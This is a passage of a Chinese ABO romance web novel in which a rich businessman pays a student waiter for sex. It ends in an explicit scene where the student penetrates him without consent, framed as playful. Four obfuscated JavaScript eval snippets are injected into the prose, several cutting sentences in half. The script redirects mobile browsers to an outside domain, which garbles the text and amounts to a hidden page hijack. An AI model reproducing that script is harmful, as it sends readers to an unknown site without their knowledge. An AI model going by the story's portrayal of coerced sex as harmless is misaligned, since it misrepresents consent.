“……我现在不一样了。” 谢铮看着球场上飞来飞去的篮球觉得手痒,猛地踩下刹车。他朝球场扬了扬下巴:“试试?” 宋清远就下车去问球场的男生们能不能加入。 场上刚好有艺术系的学生,认识宋清远,也和宋清远打过球,很爽快地同意了。 学生们也是有自己的小心思——宋老师人长得好,沉稳年上的类型,特招小o喜欢,和他一起打球的时候,旁边围观的o都变多了。 更别提今天还加了一个谢铮,两个成年男人都很招人,男男女女的omega围在旁边看,球场上的学生们虽然不是视线中心,但也能受到瞩目。他们因此更卖力地打球,像开屏的孔雀。 谢铮的西装外套和领带都扔在球场边上,白衬衣袖口挽上去,他额头上带了点汗,碎发湿漉漉贴在前额。 酣畅淋漓的运动把谢铮心里最后那点儿火也给灭下去了,他浑身舒畅,笑得很欢地看向宋清远:“你输了。” - “你输了。交钱交钱。” 说话的是个精瘦的男人,他笑着打开收款码推给路鹿:“一百五,转过来。” 路鹿笑:“过去了,卫哥。” 男人又去催其他人:“还有你们,愿赌服输,都像小鹿一样爽快点儿啊。” 男人名叫卫超,是“壹杯”老板的远房表弟,给他们这些服务生当领班。 卫超喜欢赌钱,说什么小赌怡情,每到发工资的日子前后总愿意拉着其他人一起打牌。但他不喜欢输,一旦输了就要给别人使脸色,或是拖着别人一直打牌,直到自己赢了为之。 有很多人不愿意自己的工资刚到手就送人,被卫超明里暗里使了不少绊子,也有受不了的人直接就提辞职了。 路鹿倒不会和他对着干,每次故意放水,输给卫超两百三百,交钱也爽快。把卫超哄开心了,卫超有什么好活儿都派给他,就像上次,有个同事生病,卫超就叫他来顶了夜班,他拿了白班1.5倍的日薪,还遇到了来喝酒的谢铮。 想到谢铮,路鹿打开和崔松柏的聊天记录。 [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456880|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔松柏]:我看到宋老师和谢铮在球场打球! [崔松柏]:谢铮打得还挺好,好多人都在看他! [崔松柏]:我什么时候能变成这样的有钱人啊?!可恶啊! [崔松柏]:图片.jpg 他刚刚一直在陪卫超打牌没空点开,这会儿自己一个人了,他下载了原图,把图片放大了仔仔细细地看。 第一个放大的是谢铮。他抬起手臂,偏头用袖子擦额头上的汗,小腹露出来一截,模模糊糊地能看到深入裤腰的马甲线。 照片角落停着一辆蓝色的车,路鹿认出这是宋清远的车。 可能是谢铮觉得没车不方便,所以管宋清远借了车。 车的后座有黑色的画板袋,宋清远去工作室拿了画板走?因为他终于买到了回老家的车票? 路鹿一个人的时候就不怎么笑了,面无表情的。他把图片保存了,退出和崔松柏的聊天界面后,顺手看了一眼自己的余额。 7189.5 他给备注是“李医生”的人转了四千五过去,还剩下了两千六。 路鹿其实很少有这么富裕的时候,主要是因为前两天学校把奖学金发下来了。所以就算他买了件新外套也有剩余。 他轻快地从走廊里绕出来,看见了让自己很开心的人。 谢铮不知道什么时候来了,还是坐在上次的卡座里。 和他一起坐在卡座里的人还是上次那些色眯眯的中年人,就算已经卖力打扮过了,还是露出一股油腻的味道,谢铮和他们一比简直就是在闪闪发光。 路鹿从口袋里翻出一根皮筋,对着墙壁的反光把碎发扎在脑后,装作没看到谢铮,拿着托盘和菜单往外走。 他现在还拿不准谢铮到底喜欢什么样的,但总归不会喜欢在谈生意的时候不分场合热情扑过去的笨蛋。 谢铮倒是一眼就发现了路鹿。 或者说他今天还把和胡奇志见面的地点定在这里,为的就是想多看两眼路鹿这张长在自己审美上的脸。 男生穿着统一的西式制服,后脑一根毛茸茸的尾巴,看得人想伸手扯一下。 谢铮勾着嘴角,朝路鹿的方向打了两个响指:“来。” 路鹿看到谢铮,笑吟吟地走到近前。 谢铮伸手拿过菜单,闲散地翻了两页,帮自己和几位老板点了几杯招牌酒。 路鹿一一记下后离开,过一会儿就把酒端上来,其中一杯谢铮不记得自己点过,清澈的淡黄色液体,被路鹿摆在面前。 谢铮皱了皱眉,刚想问路鹿错了吧,却眼尖地看到液体里面上下浮动的果粒。 谢铮扬了扬眉,端起来喝了一口。 像是有一瓣柚子在谢铮嘴巴里爆开,柑橘类的味道新鲜而霸道,猛地把club里其他混杂的味道都推远了一点,沁人心脾。 谢铮咯吱咯吱地咬着嘴巴里的果肉,掀起眼皮看了路鹿一眼。 - 谢铮日记 [十四年前] 骨折住院,好无聊。 早知道带游戏机来玩。 5. 第 5 章 第5章 昨天之后,谢铮的助理已经抓紧时间在和胡奇志的团队对接。 今天再和胡奇志来“壹杯”,是用于维护和加深几人之间的酒肉友谊。 胡奇志今天明显是带着猎艳的心态,和另外几人一双眼睛贼溜溜地转,专盯着穿着少的小o。 后来倒真让他们找到三个年轻漂亮的omega男孩愿意坐过来,只是这三人虽然坐在胡奇志等人身边,眼神却若有似无地朝谢铮脸上看。 不知道是谁还在桌下用脚碰碰谢铮的裤腿,谢铮把他踢回去:“去。” 胡奇志自然也发现了桌下的小动作。 谢铮当然招人喜欢,可喜欢谢铮的omega此时正坐在他怀里,这并不是让人恼怒的事情,反而他很得意。 他还饶有兴趣地问谢铮:“谢老弟喜欢什么样的?” 谢铮坏笑一声,没说话,眼睛看向旁边。 今晚club客人不多,服务生没事的时候就都凑在吧台那边,路鹿倒是还在干活,此时正在给隔壁几桌的客人点菜,笑容很真诚灿烂。 给人打工也这么开心? 真是一头蠢鹿。 谢铮端起那杯鲜榨柚子汁喝了一口,把冰块咬得发出“咔嚓”“咔嚓”的碎裂声。 胡奇志还在继续刚刚的话题:“谢老弟这样的条件,要找什么样儿的找不到?” “找不到,包一个也行啊。”说话的人肚子顶在桌子上,谢铮知道这人自己就在外面包了三个小情人,也难怪张口闭口都是这个。 “包一个?那不一定是谁更占便宜呢。” 几个人哄笑起来。 今天的酒局结束得早,胡奇志他们领着那几个omega走了,用意明显。 谢铮倒是不着急走。 这间club禁烟,谢铮嘴里发空,捻起酒杯上的橄榄片放在舌根下吮。 他抬眼找路鹿,却见到路鹿正好在朝自己走:“谢叔叔。” 他给谢铮看他掌心里的东西:“我问同事借车了,走吗?” 谢铮看着路鹿的手指,alpha的手指修长显眼,能看出薄薄的皮肤下骨骼的形状。 谢铮:“我今天开车来的。你们宋老师把车借我了。” 路鹿“啊”了声:“那我来代驾?” 谢铮很轻地挑了一下眉。 安静片刻后,他笑着点了下头。 路鹿:“我去还一下钥匙。” 员工休息室在走廊后,路鹿绕进去后呆了很久,久到谢铮都有点不耐烦了才出来。 谢铮起身拿西装外套,却听到路鹿问自己:“谢叔叔,你会打牌吗?” 谢铮扬眉,没说话,等着路鹿继续往下说。 “领班在打牌,少人。” 谢铮嗤笑:“……你让我去和你们那个领班打牌?” 就差把“他配吗”三个字直接说出口了。 路鹿叹口气:“他赢了我好多钱,谢叔叔。” 谢铮摸了一下嘴唇。 路鹿这是在找自己出头。像是学生受委屈之后也会回去找老师。 可惜找错了人,他不是护崽的宋清远。谢铮也是想让路鹿受委屈的坏人。 他看着路鹿半是叹息半是委屈的脸,实在是很对他胃口。这会儿他脑海里想的都是要按着路鹿的头让他跪下,拽着他后脑柔顺的尾巴,逼迫他仰起头把自己含到最深。 谢铮和路鹿对视一会,闻到摸出一根烟叼在嘴里,用力用牙齿摩擦烟蒂,笑:“走。” “壹杯”的员工休息室在走廊深处,并不算小,左右两侧各有一张长沙发和一只放衣服的铁柜,正中间的地方摆了两张油腻的方桌,一张桌上面放了点面包、糖果和外卖盒之类的东西,屋里的几个坐在另一张堆着牌的桌旁。 谢铮也懒得和这些人认识,坐到空着的椅子上,翘起二郎腿:“玩什么?” 他态度可谓相当不礼貌,但alpha的气压压下来,也没人敢说什么。 卫超问:“升级会吗?” 谢铮笑着点了下下巴,又看向路鹿,命令道:“来,给我看牌。” 路鹿“嗯”一声,走到谢铮侧后方。 为了舒服,路鹿左右手分别撑在谢铮椅背的两侧,只是椅背并不宽,路鹿的两只手都因此贴在谢铮的肩膀上,男生的体温透过衣物传递给谢铮。 谢铮回头扫了一眼路鹿握着椅背的修长手指,想,有意思。 谢铮现在也不是不打牌,但牌友不是这个公司的总裁、就是那个公司的老板,其中弯弯绕绕都不是卫超这个领班能比的,再加上他气势很猛,总爱趁人措手不及的时候进攻,几圈下来分数很高,压倒性的胜利。 出乎谢铮意外的是路鹿。蠢鹿记牌和算牌都很厉害,几圈下来连谁下一张能摸到什么都心里有数,有他帮忙看牌,谢铮省了不少事。 有这本领,也能输? 但谢铮转念一想就懂了,蠢鹿不敢得罪上司,别人都是靠记牌去赢,他靠记别人的牌去输。 他掀起眼皮看路鹿一眼,路鹿会错意,拿起旁边的打火机帮谢铮点了个烟。 谢铮吐了个烟圈,隔着白雾看路鹿的眉眼,又想,有点意思。 卫超这一会儿的工夫已经输了三百多,想发火又不敢,整个人憋屈得灰头土脸的,最后找了个借口:“谢老板,这会儿上客,忙起来了,要不——” 谢铮:“可以。今天到这里。” 谢铮这种老板都不随便加人,卫超和其他几人也没主动说要加好友,只是满脸土色地把钱转给路鹿,丢给路鹿一句“等下你转给谢老板”就快步离开了。 路鹿应该已经提前和卫超说过了,也没再打招呼,和谢铮一起出了club。 谢铮从后视镜里平静地打量路鹿。 他不屑去关注别人,但不代表发现不了别人的情绪。 他明显感觉到路鹿对他有点不寻常。 alpha和alpha之间就像是两个磁铁的正极,理论上不存在性吸引力,这么多年了谢铮也就见到自己这么一个怪胎。 总不能他恰好看上一个alpha,对方也对a感兴趣。 但找他帮忙出头,手故意碰他的肩膀,还主动提出开车送他回家。还给他喝和自己信息素味道相同的果汁。 这他妈几乎都是性明示了。 谢铮舔了下后槽牙,盯着路鹿后视镜里脸的目光逐渐变暗。 路鹿浑然不知,停在红绿灯前的时候突然想到了什么:“对了,谢叔叔。我把刚才你赢的钱转给你。” 谢铮嗤笑:“不用,你自己留着吧。” “那不行。谢叔叔你赢的,我拿了算什么道理?” 这点钱对谢铮来说根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456881|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不值得浪费口舌,路鹿却死了心想给他,谢铮在心里骂了几句蠢,索性打开收款码。 路鹿给他扫过来五百块。 红灯跳成绿色,路鹿把手机放在换挡杆后面的平台上。 本来灭掉的手机屏幕“叮咚”响了一声。 谢铮下意识扫过去,看到路鹿的屏幕上显示他收到了一条来自银行的短信。 谢铮在“余额2198.5”几个字上转了一圈,扯着唇角忍不住“哈”了一声。 也许关于路鹿的示好,他还可以有另一种解读。 也许和性无关,路鹿只是看中他的身份,想和他打好关系,进他的,或者被他介绍去其他公司,扩展更多人脉。 谢铮很直白地问路鹿:“你没什么钱?” 路鹿被逗笑了,很开心地噗嗤笑出声:“有钱就不打工了呀。” “想要钱?” 路鹿的笑意渐渐收拢了一些,他很老实地回答他:“我需要钱。” 谢铮“嗯”了一声,突然问路鹿:“加个好友?” 路鹿脸上的笑又扩大了点:“好呀,谢叔叔。” 下一个红绿灯路口的时候,谢铮通过了路鹿的好友申请。 路鹿的头像白底正中间有个简笔画的梅花鹿,因为太小了,又是黄色,不放大的话简直就像个小鸡仔一样趴在那里。 顺着头像点进去,路鹿发朋友圈的频率不高,上一条还是半年前,看背景应该是在猫咖,桌上一杯拉着圣诞树图案的咖啡,桌下的长腿上趴了三只布偶猫。 配字是“可爱^^” - 第二天宋清远出发,谢铮把他送到车站。 谢铮到现在也不知道宋清远为什么突然休假,但他知道每个人都有操蛋的糟心事,宋清远不说他也不问,只是在宋清远转身之前在好友肩膀上锤了一圈:“有什么事就叫我。” 宋清远笑:“谢谢。” 下午的时候司机终于从J市把谢铮的车开过来了。 司机姓田,谢铮叫他老田,他叫谢铮“谢哥”。 这是谢铮从高中的时候就认识的人,被人堵在小巷子里抢钱的时候谢铮顺手帮了他一把,从那以后就对谢铮忠心耿耿。 从谢铮爸妈眼皮子底下溜出来不容易,老田看着比几天之前沧桑了很多。有了顺手的司机,谢铮终于舒服了一点。 他让老田载着自己跑了几趟胡奇志的公司,对方也没特意卡他,短短三天之后就把这个小项目给确定下来,还给谢铮另介绍了一笔生意。 隔一天之后,谢铮跟着几个新认识的老板喝了点酒,在半夜十一点回到了宋清远的住处。 他躺在沙发上,觉得身体有些燥热,小腹处有暖流游走,带得心脏也跟着痒痒的。 谢铮熟悉这种感觉,这是易感期的征兆。 谢铮一条腿垂在地上,闭着眼睛揉了两下胸口,手往下探的时候又顿了顿。 他打开手机。 [谢]:在? 对方回得很快。 [蠢鹿]:谢叔叔 [蠢鹿]:怎么了? [谢]:需要钱么,我这儿有个活 [蠢鹿]:什么? 后面还跟着一个亮闪闪的探头表情包,晃得谢铮眼睛疼。 谢铮一个字一个字,慢吞吞地按着屏幕:被我包,一个月两万。 6. 第 6 章 第6章 消息发出去,对话框的上方就一直在显示着“对方正在输入中……”的字样,但一直都没消息再发过来。 不出意外的话,今晚他都未必能收到路鹿的回复。 但他会回的,因为这头愚蠢的鹿心思细腻,近乎讨好地照顾着别人的情绪。 至于回复的内容是同意或是拒绝,谢铮反倒不太在意。 多一个脸很对对胃口的小情人,或是和宋清远的得意门生再也说不了话。 其实哪个回答都对谢铮没什么太大影响。 经过这么一打岔,易感期带来的躁动反而平复了很多。 谢铮起身喝了杯冰水,打开电脑处理了一会助理发来的文件。 发回去的时候助理竟然还在线,收了文件后还和谢铮汇报了一下公司这段时间的情况。 谢铮手指落在键盘上,问:我爸妈怎么样? [可供领导驱使的助理1号]:前几天二老以为您睡在公司,每天都来。前台按您的吩咐没有放他们进来。昨天和今天倒是没见到二老。 谢铮一家人的性格都强势,谢铮看得出来父母对自己这次叛逆期感到十分棘手。 他忍不住露出一个冷笑,“啪”地一声合上了电脑。 - 今天是周末。 Y大平时十点半熄灯,每逢周末和假期,熄灯的时间就会往后延半个小时。 11:00,灯还亮着。 崔松柏一脸很梦幻的幸福:“是不是阿姨忘记了?我看别的宿舍都黑了哇。难道我今天终于可以熬夜打游戏了?” 其他两名舍友纷纷对他的天真表示了嘲笑,路鹿却一直没说话。 崔松柏后仰着看了一眼路鹿:“做什么呢?” 路鹿:“在回消息。” “又是你打工的领导?他又要折磨你了?” 路鹿很含糊地应了一声,也没说是还是不是。 谢铮说有个活要介绍给他之后,一直没说话。路鹿趁着这个工夫,再把谢铮的头像点开看。 谢铮的头像用的是他自己的照片,色调很复古,照片上人看起来比现在年轻,眉眼还没像现在这样凌厉,面无表情的,穿着件领口把嘴巴挡了一半的连帽衫,竟然有种禁欲的感觉。 倒是还抽烟,照片里谢铮右手夹着根点燃的香烟,袖子挽上去,露出一截腕骨。 这是什么时候拍的?五年前?十年前?或者更早? 路鹿从来不觉得和谢铮上过同一所初中高中,报考了同一所大学是什么被称作缘分的事情。 J市再大,优秀的教育资源也就那几间,很大一部分J市人的人生都是按照这样的轨迹在行走。 但看到谢铮年轻时候的样子,路鹿比自己想象中开心。 其实他应该早点去注意谢铮的,历年的毕业生合照、荣誉墙上的冠军照片……他要是早点注意到就好了。 谢铮的朋友圈显示着一条灰色的横杠,不知道是把路鹿屏蔽了,还是从来没发过东西,路鹿更倾向后者。 11:03分,宿管阿姨终于想起来她忘记关灯。 整栋宿舍楼瞬间陷入了黑暗,路鹿手机一震,收到了来自谢铮的消息。 “咣——!” “疼疼疼——” 崔松柏吓了一跳,赶紧拧开台灯。 台灯好几天没充电了,灯光黯淡且闪烁。 崔松柏往声音传来的方向看,见到路鹿连人带椅子摔倒在地上。 他吓了一跳:“小鹿?没事吧?” 路鹿借着他的手站起来:“……没事。” 崔松柏笑得很大声:“平时你不是挺灵活的吗?怎么坐在椅子上都能摔倒?带你去医院看看?” 路鹿笑眯眯地看着崔松柏。 平时路鹿笑得乖,但不代表他没脾气。 崔松柏最怵路鹿这幅憋着坏的笑模样,缩缩脖子不说话了,抱着洗浴用品溜到浴室里。 轮到路鹿去洗澡的时候热水已经剩下不多了,路鹿用半冷不热的水冲掉沐浴液,衣服都没穿,湿漉漉的手指划开屏幕,继续看谢铮给自己发的那条消息。 被我包,一个月两万。 被我包,一个月两万。 被我包—— 路鹿觉得自己要是再大十岁就好了,或者五岁,那样他至少不是只有脸能入谢铮的眼。 他可以光明正大地追谢铮,和他谈恋爱。 不是像现在这样,他和谢铮对对方的了解只有对方有一张很对自己胃口的脸。 但路鹿也知道,如果这条消息他回一个不字,谢铮以后永远都不会再找他。 就冲这一点,他不可能不同意的。 他故意碰谢铮的肩膀,请他喝柚子汁,故意让他看到自己的银行卡余额,不是为了让两人不再来往的。 路鹿终于唤出对话框里的键盘。 镜子里男生脸上没什么表情,手指打出来的字却显得犹犹豫豫的。 [Deer]:……谢叔叔…… [Deer]:我想和你聊一下……可以吗? 他消息发出去的时间已经死半夜两点,那时候谢铮已经睡着了。 等他看到消息的时候已经是第二天中午。 他今天要和新认识的几个老板谈项目,一大早就西装革履地出门了,直到中午才有空看手机,看到路鹿的消息的时候,谢铮脑子里还全是助理报给自己的数据。 他固然有天赋又行事狠辣,但白手起家,算是从业晚。和这些人已经在业内深扎根的老狐狸们打交道总归是要付出许多精力。 他这会儿没空和路鹿聊什么,只是道:晚上我给你电话。 路鹿回得很快:好。 等今天这场结束之后已经是傍晚,正逢晚餐时间,几个人又一起吃了个晚饭。在这场项目里谢铮算得上令几人的甲方,几个老板很恭维他,烟酒准备得格外用心。 等坐上车后座,准备回去已经是凌晨一点。 谢铮喝了不少,有点犯困,头歪在一边迷糊了一会,才想起来自己还和路鹿约好了电话联络。 他就给路鹿发了条消息:睡了吗? 一分钟后路鹿回了消息:谢叔叔。 他像是知道谢铮要问什么:我现在方便聊天的。 谢铮直接给他弹了个语音通话。 对面很安静,听筒里传来路鹿的声音:“喂,谢叔叔。” 他的声音听起来和平时不一样,刻意压低之后,带着微微沙哑的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456882|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一针抑制剂只管二十四小时,现在恰好是昨天那针结束效果的时间。谢铮现在只是出现了易感期的征兆,还没到真正的易感期,但路鹿这一声让谢铮突然燥热起来,一股火窜到谢铮小腹,又痒又疼。 路鹿等了等,见谢铮没说话,便自顾自地说下去:“谢叔叔,我觉得我们可以签一个合同。比如工资发放的时间,包不包含住宿费和……” 谢铮:“……” 什么玩意?要不他再给路鹿盖个公章开个实习证明吧?五险一金也顺便给他交了吧? 谢铮差点被这头蠢鹿气笑,他出声打断路鹿:“你直接说行还是不行。行就行,不行我绝不会纠缠。” 一秒,两秒,三秒。 五秒钟的安静过去后,听筒里传来路鹿乖顺的声音:“行的,谢叔叔。” 西装裤箍得谢铮有点疼,但他勾着唇角笑得很畅快,完全没有带坏好学生的罪恶感:“一会就到你学校了。校门口等我。” 十三分钟后,老田稳稳把车停在了学校门口。 路鹿已经站在门口了,黄外套牛仔裤,竟然还背着一个书包。 谢铮差点被他逗笑。 他按下车窗对路鹿招了招手:“上来。” 路鹿就拉开车门坐在了谢铮旁边。 谢铮把后座的挡板升上去,夹烟的手指支着下巴,借着外面路灯的光亮打量路鹿:“刚洗完澡?” 路鹿的头发还是湿的,虽然没有滴水,但微长的头发带着水汽很柔顺地垂在脸颊旁边,显得路鹿整个人很柔和。 路鹿点头,问谢铮:“我们去哪?” 谢铮这次是真被逗笑了:“去酒店。难不成你要在大街上被我干?” 最后一个字话音落下,路鹿突然抬头,用有点讶异的眼神看了一眼谢铮。 谢铮没注意到路鹿的目光,他看着窗外快速滑过的风景,淡笑的表情下藏着兴奋。 中间车子在药店门口停了一下,老田去买了套子和润滑剂,再过了十五分钟后,老田将车停在了酒店门口。 这酒店路鹿知道,是新五星酒店,最便宜的房间一晚上也要几千。 两人没什么话地上了电梯,进到房间里。 谢铮脱掉外套,再甩掉衬衣,露出结实劲瘦的身材。路鹿看着他的纹身,听到谢铮问:“一起么?正好帮你扩一下。” 路鹿:“……” 他又用那种很奇怪的眼神看了一眼谢铮,这回谢铮注意到了:“嗯?” 路鹿别开眼神。 谢铮靠近他,伸手捏捏他的脸,坏笑:“不好意思了?” 路鹿再回头看谢铮。 两人对视,谢铮才发现路鹿的眸色其实也很浅,琥珀色,像泡了蜂蜜的宝石。 谢铮喉结滚动了一下,屋子里突然弥漫起浓郁的烟草胡椒味。 路鹿抿了抿唇,低下头。 谢铮眼疾手快地把手指按在路鹿嘴唇上 ,啼笑皆非:“干嘛?接吻?还是免了吧。” “不喜欢?” “没必要。” 路鹿“哦”了声,乖巧地应:“知道了。” 谢铮便把手拿了下去。 谁知下一秒路鹿重新低下头,两片嘴唇还是准确无误地覆盖在了谢铮唇瓣上。 7. 第 7 章 第7章 “你他妈——” 谢铮皱眉推开路鹿,手背抹了一下嘴唇,还能感觉到路鹿的触感。年轻人嘴唇软软的,带着若有似无的柚子清香,其实感觉还不错。 路鹿噗嗤一笑,很利落地认错:“我是想提供优秀服务。” 谢铮看什么珍稀动物一样的眼神看了一眼路鹿。 还提供优秀服务?把自己当酒店服务生了? 谢铮都懒得说他,自顾自朝浴室走。路鹿还追问了一句:“我是第一次亲别人,应该还不错吧?” 谢铮脚步顿了顿。 第一次亲别人…… 第一次亲…… 第一次…… 谢铮问路鹿:“你不会都没谈过恋爱吧?” 路鹿摇头。 谢铮又用看什么珍稀动物一样的眼神看路鹿。 他上学的时候,也不是没遇到过路鹿这种人。能说会道、察言观色、亲切喜人,简直就是老师的宠儿,学生们追捧的对象。 这样的人当然招人喜欢,就算是长得差一点,也有许多人追,何况路鹿顶着这样一张脸。 路鹿轻柔地道:“没有。” 谢铮“操”了一声。 他看着路鹿淡粉色的嘴唇,一想到是自己刚刚得到了小孩的初吻,就很可耻地变得更兴奋。 谢铮朝他勾勾手指:“过来。再亲一下。” 宽阔明亮的房间里,胡椒味更浓了一些。路鹿像是闻不到一样,忍俊不禁问:“谢叔叔你不是说不接吻……” 谢铮这会儿倒是看出来路鹿是在逗自己了:“少废话。” 路鹿上前两步。 他比谢铮高小半个头,这会儿面对面地站着,小半个头的差距就有点明显。 路鹿双手捧着谢铮的脸,缓缓低下头来,柔软的唇再次印在谢铮薄薄的嘴唇上。 就这一下,谢铮是真的觉得路鹿很合自己口味。 不光是脸,还有这种毫不扭捏的地方。既然答应了被自己包,就没有再推三阻四,找乱七八糟的借口。 谢铮抬手抓住路鹿后脑的头发,笑:“宝贝儿,张嘴。” 路鹿很顺从地把嘴巴张开,谢铮把舌头探到他嘴里,像是闻到了血味的鲨鱼一样和他接吻。 谢铮听到路鹿问自己:“谢叔叔是初吻吗?” 谢铮没回答。 唇舌纠缠的滋味比谢铮想象中好很多,不是他脑补的那种黏腻恶心的感觉。路鹿的口腔温热,唇齿带着柚子的清香。 比起谢铮用力的亲吻,路鹿反而显得淡定多了。他一只手仍然捧着谢铮的脸,另一只手沿着谢铮的脖颈、手臂,按在他后背上,带点儿安抚的意思,好像是在告诉谢铮别这么着急。 这种包容的味道让谢铮觉得不自在,但他也没空多想,下面被裤子箍得越来越疼,他推着路鹿的胸口把他往浴室带。 温热的水淋下来,路鹿的衣服顿时全湿了。谢铮抽空睁眼看了一眼湿淋淋的路鹿,从鼻腔里笑了两声,使劲咬了一下路鹿唇瓣,又闭上眼。 路鹿垂眸看着谢铮。 谢铮的额发被水淋湿,全都垂了下来,那股凌厉的气质一下子少了很多,反而多出来一些慵懒。他衬衣已经脱在外面了,光裸的肌肤泛着甜蜜的光泽。 舌尖处传来疼痛的感觉,谢铮又咬了他。 这感觉真不赖,路鹿心里最后一丝犹豫也散去了。他知道自己的确做了正确的决定。 路鹿按着谢铮的后背把两人换了个位置,让谢铮靠着墙,自己站在外面,伸手撑着墙壁,把谢铮围在自己手臂中的那个小空间里。 谢铮笑着问他:“这么主动啊?” 路鹿顺着谢铮的脖颈往下亲,最后他单膝跪在地上,去解谢铮的腰带。 路鹿这时候脸上就没有那种蠢兮兮的笑容了,表情很严肃认真,薄薄的眼皮垂着,修长白皙的手指和谢铮麦色的皮肤有很强烈的对比。 谢铮垂眸看路鹿的表情,胸口起伏得厉害。 他伸手拍路鹿的脸:“连这个都会啊,宝贝儿?” 路鹿抬头看了谢铮一眼,笑一下。 谢铮很体贴地没动弹,按着路鹿的头顶,拇指描摹地去勾画路鹿的五官,从额头,到眉毛,再到鼻梁。 路鹿像是很喜欢他这样的抚摸,微微侧过头,把自己的脸更深地贴在谢铮手指上。 突然谢铮抓着路鹿头发的手鼓起肌肉,整个人失重似的往下坠了一下。 谢铮整个人的气息都是乱的,说话带喘:“……好爽,好他妈爽。” 比他自己一个人做手工活可爽多了。 路鹿抬头看了谢铮一眼:“我去拿润滑剂。” 他出去了一趟,很快又回来,直接把那个写着药店名字的塑料袋拿了回来。 包装都还没拆,路鹿把方形的盒子转了两圈才找到开口的位置。 谢铮靠在墙上看他拆包装。 路鹿手上沾了水,打滑了好几下,才终于把包装撕开。 他拿着说明书研究了一下:“懂了。” 透明的液体被路鹿挤出来了一些在掌心,朝谢铮走。 谢铮还以为路鹿是要自己帮忙,坏笑着伸手去接,路鹿也伸出手,目标却不是谢铮的手。 滑溜溜凉凉的触感,谢铮皱了皱眉,低头看路鹿握着自己的手。 “你懂个屁懂了。”谢铮又一次被路鹿逗笑了:“这东西不是用在这儿的。” 路鹿活动着手腕,声音很轻:“不是吗?” 两人一起垂眸看着那里,谢铮突然觉得自己那里变得有点陌生,可能是因为路鹿的手。 谢铮很舒服地仰着头,他闭着眼睛催路鹿:“快点。” 路鹿没听他的,动作依旧轻轻柔柔的,谢铮从鼻腔里轻轻哼哼着,他听到路鹿脱衣服的声音。 浴室里的柚子味一下子变得很浓,几乎盖过胡椒的味道。 这不是谢铮第一次直面别的alpha的信息素。 他打过不少架,激动起来大家都控制不住自己,各种刺鼻的味道混合在一起,刺得人太阳穴都在疼。 偏偏是这种互斥的感觉,谢铮很喜欢。 柚子味的信息素铺天盖地地包裹过来,谢铮四肢有点疼,也很爽。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456883|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这种又疼又爽的感觉让谢铮缓不过神来,闭着眼睛好一会,才想起来去看路鹿。 就在睁眼的瞬间,谢铮感觉到路鹿的双手把自己往上托起来一截。 下一瞬—— “……操……我操……” 猝不及防地剧痛传来,谢铮疼得眼前都在发白,他胡乱勾住路鹿的脖子借力,不住吸气。 他睁眼,咬牙切齿地问路鹿:“你他妈,干什么呢?不想要命了?” 路鹿疼的也在倒吸气,但眼尾上翘,表情很乖:“谢叔叔,我怕疼。” 谢铮:“…………” 所以就趁他不注意把他……了??这会就不疼了??? 什么玩意?? 蠢鹿疯了吧??? 谢铮被摆了这么一道,气得牙根都在发痒。路鹿忍着疼,很讨好地保持着笑眯眯的表情亲亲谢铮的眼皮,鼻梁,嘴唇,又用信息素把他整个包裹起来:“谢叔叔。” 谢铮这会儿终于从那股疼劲里缓过来了,他勾着嘴角看路鹿的表情,伸手在男生脸上狠狠拧了一下,又拍一巴掌,阴狠道:“几条命,还算计起我来了?” 路鹿咬着嘴唇笑,丝毫没有做错事的内疚感。 见谢铮一直瞪他,他就道:“那我出去。” 话是这么说,路鹿的动作却很慢。谢铮拧着眉瞪他,借路鹿这张脸给自己消气,突然他表情变了一下,控制不住地从鼻腔里哼了一声。 路鹿问:“这儿?” 谢铮算是知道路鹿在打什么主意了。 “宝贝儿,”他拍着路鹿刚刚被自己掐红的脸,问他:“你同学知道你一肚子坏水吗?” 谢铮觉得路鹿使坏的样子比装乖的样子好玩多了。 真带劲儿。 他使劲在路鹿耳垂上咬一口,声音沙哑:“去床上。” 路鹿就这样抱着他出了浴室,路过中控台的时候,还把明亮的大灯给调暗了一点。 